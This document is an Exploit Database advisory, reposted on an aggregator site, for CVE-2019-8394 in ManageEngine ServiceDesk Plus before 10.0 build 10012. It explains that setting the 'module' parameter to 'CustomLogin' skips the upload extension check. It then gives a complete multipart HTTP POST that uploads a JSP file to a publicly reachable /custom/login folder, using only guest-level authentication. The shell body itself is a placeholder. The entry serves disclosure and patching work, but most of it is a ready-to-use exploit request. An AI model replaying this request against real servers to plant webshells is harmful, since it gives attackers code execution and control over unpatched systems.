Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 - Arbitrary File Upload

• Exploit Database
• 15 阅读

• 作者： Dao Duy Hung
  日期： 2019-02-18
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/46413/

• # Exploit Title: Zoho ManageEngine ServiceDesk Plus (SDP) before 10.0 build 10012 - arbitrary file upload
  # Date: 18-02-2019
  # Exploit Author: Dao Duy Hung (duyhungattt@gmail.com)
  # Vendor Homepage: https://www.manageengine.com/products/service-desk/
  # Software Link: https://www.manageengine.com/products/service-desk/download.html?opDownload_indexbnr
  # Version: 9.4 and 10.0 before 10.0 build 10012
  # Tested on: SDP 10.0 build 10000
  # CVE : CVE-2019-8394
  
  Detail:
  In file common/FileAttachment.jsp line 332 only check file upload extension when parameter 'module' equal to 'SSP' or 'DashBoard' or 'HomePage', and if parameter 'module' is set to 'CustomLogin' will skip check file upload extension function and upload arbitrary file to folder '/custom/login' and this file can access directly from url 'host:port/custom/login/filename' . An authenticated user with minimum permission (ex: guest) can upload webshell to server.
  
  POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1
  Host: localhost:8080
  Content-Length: 508
  Accept: */*
  Origin: http://localhost:8080
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
  Content-Type: multipart/form-data; boundary=----aaa
  Referer: http://localhost:8080/DashBoard.do
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9,vi;q=0.8
  Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; JSESSIONID=66716A38326AE43058F4A71FCF4E1E42; JSESSIONIDSSO=6970EB5659C20DFF0CF5015D9C91448E; sdpcsrfcookie=ec189770-d1aa-4db3-9a97-36f4ab3db380
  Connection: close
  
  ------aaa
  Content-Disposition: form-data; name="sspsetup"
  
  Attach
  ------aaa
  Content-Disposition: form-data; name="module"
  
  CustomLogin
  ------aaa
  Content-Disposition: form-data; name="filePath"; filename="test.jsp"
  Content-Type: text/html
  
  This is shell content
  ------aaa
  Content-Disposition: form-data; name="hmtlcontent"
  
  
  ------aaa--